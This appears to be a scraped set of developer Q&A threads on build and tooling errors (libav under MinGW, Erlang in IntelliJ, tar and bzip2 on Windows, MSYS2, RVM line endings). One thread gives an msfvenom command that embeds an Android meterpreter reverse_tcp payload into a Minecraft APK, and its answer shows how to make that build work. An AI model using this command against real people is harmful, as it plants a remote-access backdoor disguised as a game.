I have a trouble with libav.
I used MinGW and MSYS to build libav on windows. However, When I use "make", after some file(.o file) were build i get error,
It is
$ make
AR libavcodec/libavcodec.a C:\msys\mingw\bin\ar.exe: libavcodec/: Permission denied
make: *** [libavcodec/libavcodec.a] Error 1
After that, I view the permission of libavcodec folder, I have all permission. :|
Please help me solve this trouble or give me a full instruction to build libav on windows (I use win7 x64 and have msys, mingw)
Thanks!!!
I'm not sure if this is relevant, but I had the same error when trying to make ffmpeg. Initially I was getting a missing separator error (in one of the makefiles) when I used configure. I found a page that suggested checking that git was using unix line endings rather than windows (CR LF). So I used
git config --global core.autocrlf false
to set git to use unix line endings and then thought I'd updated my source (being new to git, it turned out I hadn't). I still got the missing separator error, so I added a tab to the start of the line and configure completed. I then used make and would get the same error you're getting. I saw in some of the other makefiles that they still had windows line endings, so I deleted the entire directory apart from the .git folder as mentioned here, and then used
git reset --hard
to get the files again. After this configure and make worked without error, so my guess would be that you're using windows line endings or there's something wrong with the makefiles.
Related
Setup: IntelliJ IDEA 2022.2.2, Erlang 25.0
I am trying to run the Erlang code available at https://erlangbyexample.org/send-receive. I am able to run in werl and Windows command line. But I am getting the error "init terminating in do_boot" when I run in IntelliJ.
I checked a similar issue reported in this question , wherein the solution was to convert list input to integer/s. However, my Erlang code does not expect any input, it just expects the function name.
Please provide a pointer to resolve the issue.
"C:\Program Files\Erlang OTP\bin\erl.exe" -pa F:/1TB/P/workspace-IntelliJ-Erlang1/out/production/workspace-IntelliJ-Erlang1 -pa F:/1TB/P/workspace-IntelliJ-Erlang1 -eval send_recv:run(). -s init stop -noshell
{"init terminating in do_boot",{undef,[{send_recv,run,[],[]},{erl_eval,do_apply,7,[{file,"erl_eval.erl"},{line,744}]},{init,start_it,1,[{file,"init.erl"},{line,1234}]},{init,start_em,1,[{file,"init.erl"},{line,1220}]},{init,do_boot,3,[{file,"init.erl"},{line,910}]}]}}
init terminating in do_boot ({undef,[{send_recv,run,[],[]},{erl_eval,do_apply,7,[{_},{_}]},{init,start_it,1,[{_},{_}]},{init,start_em,1,[{_},{_}]},{init,do_boot,3,[{_},{_}]}]})
Crash dump is being written to: erl_crash.dump...done
I configured RunConfiguration to BUILD before RUNNING ("Before launch" section). As result, RunConfiguration was creating an empty folder "../out/production/workspace-IntelliJ-Erlang1" without .beam files, if the folder does not exist. It would delete any existing .beam files if the folder exists. Hence, the RUN was failing eventually.
As a workaround, I removed the BUILD before RUNNING option from RunConfiguration. And, I manually built using BuildProject before RunConfiguration.
TODO: I will check why was not RunConfiguration able to generate the .beam file.
Check if there is a file called send_recv.beam in either of the directories specified as code path in the -pa arguments. (The undef error means that it can't find the function send_recv:run/0, more often than not because it can't find the compiled module.)
My guess is that this file is actually in the directory where you ran Erlang from the command prompt, but IntelliJ runs Erlang using another working directory. The current working directory is part of the code path by default, which would be why this works from the command prompt but not within IntelliJ.
Read all and carefully
Hi, I'm using Kali 2.0 and I love to tweak with it (Sorry for bad english but I'm italian). When I use this command:
msfvenom -x minecraft.apk -p android/meterpreter/reverse_tcp LHOST=IP_ADDRESS LPORT=4444 -o mc.apk
it gives me:
Using APK template: minecraft.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: Malformed version number string 2.4.0
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I've searched for weeks on all the forums but, I didn't found the solution. I've reinstalled Kali, metasploit-framework, jdk, apktool. Nothing was happened. Any fix?
I have struggled and got the solution. It looks like the problem was with the apktool and also the java environment variables (but in your case it could be only one issue), i uninstalled the apktool & java's(jdk,jre), reinstalled, changed versions through terminal but nothing worked.
FIRST ISSUE (_JAVA_OPTIONS) :
To figure this out i read an issue on github https://github.com/iBotPeaches/Apktool/issues/2325
To temporarily fix it, run the following commands in the same terminal window where you are trying to use msfvenom:
_SILENT_JAVA_OPTIONS="$_JAVA_OPTIONS"
unset _JAVA_OPTIONS
alias='java "$_SILENT_JAVA_OPTIONS"'
To permanently fix it, place the above commands in /root/.bashrc(you have to check Show hidden files in View tab).
Now the above error message should go away, and if there is an issue with your apktool it will be displaying unable to rebuild apk with apktool. So, to figure this out read below:
SECOND ISSUE (Apktool)(unable to rebuild apk with apktool):
I have found that there is a missing file
of apktool located in usr/local/sbin. Delete apktool file from there if exists.
Download linux wrapper script https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
Download latest apktool from https://bitbucket.org/iBotPeaches/apktool/downloads and rename it to apktool.jar
Now copy both the files (linux wrapper script & apktool.jar) to /user/local/bin
Type apktool in terminal and verify the version
P.S. For those who cant go with the steps for the second issue, go watch this fix https://youtu.be/vxs_fkUHnSw
I'm trying to run this code from : https://github.com/pnnl/safekit ,using cmd on windows 10, I already installed python.
when I type the command:
tar -xjvf data_examples.tar.bz2
I keep getting the error:
tar: Error opening archive: Can't initialize filter; unable to run
program "bzip2 -d"
I have tried to download bzip2 through easy-7 zip and GnuWin32 , but it didn't work.
Can any one help me?
P.S.: I did search for the same problem before posting mine.
If you run the command in git bash instead of cmd it should work.
I've run into the same problem! My non-elegant solution so far has been to force Windows's tar.exe to use the bzip2.exe provided with my Windows Git installation. The trick is to add to your user PATH the directory where bzip2.exe is located, in my case:
C:\Program Files\Git\mingw64\bin
So, right now my PATH looks like:
Path=%USERPROFILE%\AppData\Local\Microsoft\WindowsApps;C:\Program Files\Git\mingw64\bin
Notice that I've only touched the user environment PATH, not the system PATH, and I've appended the new directory. As always, touching your PATH can be a little bit dangerous, proceed with care. If someone has a better solution, I'd be glad to hear it.
Note: I tried copying the bzip2.exe to a separate directory, but this didn't work (I presume because bzip2.exe couldn't find some dependencies).
I have just installed MSys2 (https://msys2.github.io, msys2-x86_64-20150916.exe) on my Windows 10 computer.
Once installed, the terminal is launched. But as soon as I stop it and relaunch it, I get the error: "Failed to run /sbin/nologin: No such file or directory".
Any idea on what to do?
You should figure out why Bash is trying to run /sbin/nologin. Check your Windows home directory (e.g. C:\Users\Joe) for files like .bash_profile, .profile, and .bashrc. Inspect those files and find which one is calling nologin.
If that doesn't help, try creating an empty file in C:/msys64/sbin/nologin, or wherever you actually installed MSYS2. An empty file would be a valid shell script and run without errors.
If the error is non-fatal you might consider just ignoring it.
I'm using rvmrc with the following text:
rvm_path=/local/rvm
(on Ubuntu 11.10) but trying to install gives an obscure error:
$ bash < <(curl -s https://rvm.beginrescueend.com/install/rvm)
Successfully checked out branch ''
Current branch master is up to date.
Successfully pulled (rebased) from origin
: No such file or directory
Any ideas?
You have no need at all to set $rvm_path. You're using a multi-user install. Please follow the explicit instructions for the Multi-User install at https://rvm.io and remove any existing installations, remove /etc/rvmrc, /etc/profile.d/rvm.sh, and $HOME/.rvmrc. Comment out any RVM sourcing lines in your .bash_profile, and .bashrc and log out of the machine then back in. Then reinstall correctly. Setting the rvm_path has never been a requirement of the installer UNLESS you already have a Multi-User working installation in place, and you want to attempt to use a per-user install with it. THEN you would preset the $rvm_path to $HOME/.rvm in your own $HOME/.rvmrc, log out then back in and then attempt the install again. BUT, that is not a supported installation type. Which is why 99.999% of users will not need to set rvm_path at all.
The real problem was that the git configuration for auto-converting line endings was not set correctly which prevented any installation from working. It had nothing to do with using rvmrc settings.
The fix for this is simple (and comes straight from the github help page):
$ git config --global core.autocrlf input
Line endings are important in linux and by forgetting that setting, everything the rvm-install script was pulling from github had \r\n endings. I made that change so long ago on my work machine, I didn't even remember it -- but it was not set on my home system.
I'll leave it up in case someone else has the same problem.